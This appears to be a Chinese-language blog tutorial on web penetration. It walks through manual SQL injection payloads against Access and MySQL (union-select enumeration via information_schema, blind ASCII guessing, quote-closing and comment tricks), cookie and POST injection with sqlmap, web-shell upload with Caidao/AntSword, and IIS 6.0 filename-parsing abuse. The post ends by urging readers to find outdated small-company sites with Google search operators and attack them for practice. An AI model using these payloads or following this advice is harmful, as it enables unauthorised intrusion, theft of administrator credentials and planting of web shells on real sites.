web渗透-基本入门方法以及sql手工注入

前言

忽然想起来有几天没有更新了,django搭建的博客马上就要完工,也马上快要开学,所以趁着这几天再更新几篇文章。

今天选择的是入门很快的web渗透之手工注入。

有很多人从小就对黑客感兴趣,我也不例外。但是搜索资料直接搜索黑客相关的,搜出来的东西很多很杂,因为黑客要会渗透的东西很多,一时也找不到这个方面的入口。所以今天来讲一讲比较容易懂,也上手快的web渗透之sql手工注入。

开始

关于sql注入

sql注入,就是把sql命令插入到web表单递交或输入域名或者页面请求的查询字符串中去,最终达到欺骗服务器执行恶意的sql命令的一种入侵方法。

如何利用简单的方法判断是否有sql注入漏洞

在存在id=xx这样的Url动态链接形式中。
方法1:在末尾加上 ‘ (一个单引号) 看是否报错,报错存在漏洞,不报错,可能存在漏洞。
方法2:在末尾加上and 1=1,再加上and 1=2看两种情况是否报错。 and 1=1正常 and 1=2错误,存在注入漏洞。

对于access数据库的手工注入

方法1:联合查询法
①and 1=1 and 1=2 或者 ‘ (观察是否报错来判断是否为一个注入点,并且通过报错来得知相关的信息,比如数据库类型)
②order by xx (查询当前页面连接的字段个数,这里需要不断的试,比如输入order 6报错,order by 5不报错,就说明有5个字段数。)
③union select 1,2,3,4,5 from 要猜测的表名 (对于猜测的表名,猜测正确,页面返回正常并且爆出显位(爆出数据的位置),猜测错误,页面返回失败)
④union select 1,xx,3,4,xx from 猜对的表名 (通过爆出的显位,我们在显位中输入要猜测的列名。列名猜对,就可以在显位中爆出数据)
方法2:逐字猜解法
①and 1=1 and 1=2 或者 ‘ (来简单的判断是否有注入点)
②order by xx (这时候发现order by 多少页面都不会报错)
③and exists(select * from 要猜测的表名) —存在返回正常
④and exists(select 要猜测的列名 from 猜对的表名) ——存在返回正常
⑤and (select top 1 len(列名) from 表名)>=xx ——-这里猜这个列名的数据的长度是多少不断测试
⑥and (select top 1 asc(mid(列名,1,1)) from 表名) >=97 ——这里猜测的是列名数据的第一位的ascii码是多少,不断测试。
and (select top 1 asc(mid(列名,2,1)) from 表名) >=97 ——猜测列名数据的第二位的ascii码是多少,不断测试
接下来以此类推,直到猜测出他的列名数据是多少。


注意:windows和Linux区分大小写问题。

对于mysql数据库的手工注入

这里有必要讲一下关于mysql和access数据库的不同,(mssql和Mysql类型一样)
access数据库下,直接是好多表,然后表里是字段,字段再对应相关的数据。
mysql数据库下,又分为好多数据库,然后相应的数据库里有相关的表,表里的字段,字段的数据。

首先我们需要知道几个查询的参数。
user()当前数据库用户 version()当前数据库版本 database()当前页面所连接数据库名称 @@version_complie_os服务器操作系统

之所以要查操作系统,是因为windows和linux的大小写区分问题,有时候不是你的命令输错了,而是你没注意大小写。

①and 1=1 and 1=2 或者 ‘
②order by 5 (以5个字段举例)
③union select 1,2,3,4,5 (查看爆出的显位) —–这里之所以不用类似access的from是因为对access的注入是属于暴力猜解,而对于mysql是属于有依据的注入,因为mysql里边有个叫information_schema的数据库,这里边储存了所有数据库的信息。
④union select 1,@@version_complie_os,3,database(),5 –在显位处填上要查找的信息方便下一步操作以及关于是否调整大小写
⑤union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=当前页面连接数据库的十六进制
(从information_schema.tables这个表中查询当前页面数据库的所有表)
⑥union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=想要查询数据库表的十六进制名称 (从上一步中找到想要的表名,然后从information_schema.columns这个表中查询当前这个表下的所有列名)
⑦union select 1,字段名,2,3,4,5 from 表名 (从想要的表名中得出想要的字段的数据)

如果你找到了管理员的帐号和密码,就可以用工具扫到这个网站的后台页面,来对网站进行管理,不过后台的权限一般很小,注入是为了下一步的获得更高权限的铺垫。

关于cookie注入和post注入

其实有好多工具也是集合了好多手工注入的指令,不过工具的比较死板,所以有时候工具注入不了试试手工注入万一注入了呢。

cookie注入一般是结合工具。
第一种、利用burp抓包后保存为文件,然后在sqlmap下指定这个文件,让他判断并且注入。
第二种、直接利用sqlmap来进行注入。

具体的方法可以结合burpsuite和sqlmap的教程,网上也有。

关于post注入
以前有很多漏洞,比如在用户名框和密码框输入一段指定的代码,就可以绕过用户名和密码的输入,从而直接登陆成功。

手工注入的进阶

闭合法

①字符类型
‘ 语句 and’1=’1 语句就可以填写order by……
②搜索型
%’ 语句 and ‘%1%’=%1

注释法

这种方法主要是针对于php网页去做。
当我们用order by 1就报错的时候,并不是没有字段,而是他的sql查询语句写的比较复杂,我们在语句的最后边加上–,因为–在php中就是注释的意思。这样一切返回正常。
然后union select 1,2,3,4,5– 看看这样是否会爆出显位,如果没有爆出来,我们可以在id=xx后边加上一个 - ,故意让他报错来爆出显位,然后利用前边讲的方法来进行相应的手工注入。

order by 一定要用–,union select可以不用,自己尝试。

成功登录后台之后的事

这时候我们已经成功的拿到了网站后台的用户名和密码并且登录成功,但是网站后台管理员的权限一般都比较小,所以我们通过上传大马来拿到webshell权限或或通过在网站的上传点上传一句话木马,来利用菜刀或者蚁剑来连接一句话木马,然后进行上传提权工具来进行提权。

关于漏洞的解析和截断上传

这里小小的提一下。
其中比较典型的就是iis6.0,正常命名方式xxx.jpg,触发漏洞命名方式xxx.asp;.jpg让这个图片格式的以asp格式来解析。解析成功我们就可以连接他。通常你上传一个一句话木马的图片后,服务器并没有解析他,你用菜刀或者蚁剑连接不了,通过文件名漏洞来解析他,这样就可以成功地用工具来连接这个一句话木马。

这里相关的还有iis7.0和iis7.5以及nginx<8.03的漏洞,还有apache的向左解析法漏洞。

后记

这里就先简单的介绍一下web渗透最基本的手工注入流程。

说实话现在的好多工具已经做的很不错了,用工具可以进行很方便的注入,但是为了入门,还是选择了最容易上手的手工注入来做讲解,打开这扇神秘的大门,关于靶机可以在i春秋网站的实验上找到,可以用来练练手,试验机的漏洞都非常多,注入起来也很方便,容易成功来提升信心。
现在也有好多小公司的网站用的是比较老的方法,没有进行更新,可以用谷歌语法来找一找,进行实战。

手工注入就先告一段落,马上就要开学,等到学校后再进行后续的更新,我目前先继续搞web渗透,等web渗透差不多了,在这个方向上再会陆续学习逆向工程等等…..

以上都是我通过学习总结出来的,可能写得多也会有地方出错,如果有地方出错了,欢迎指正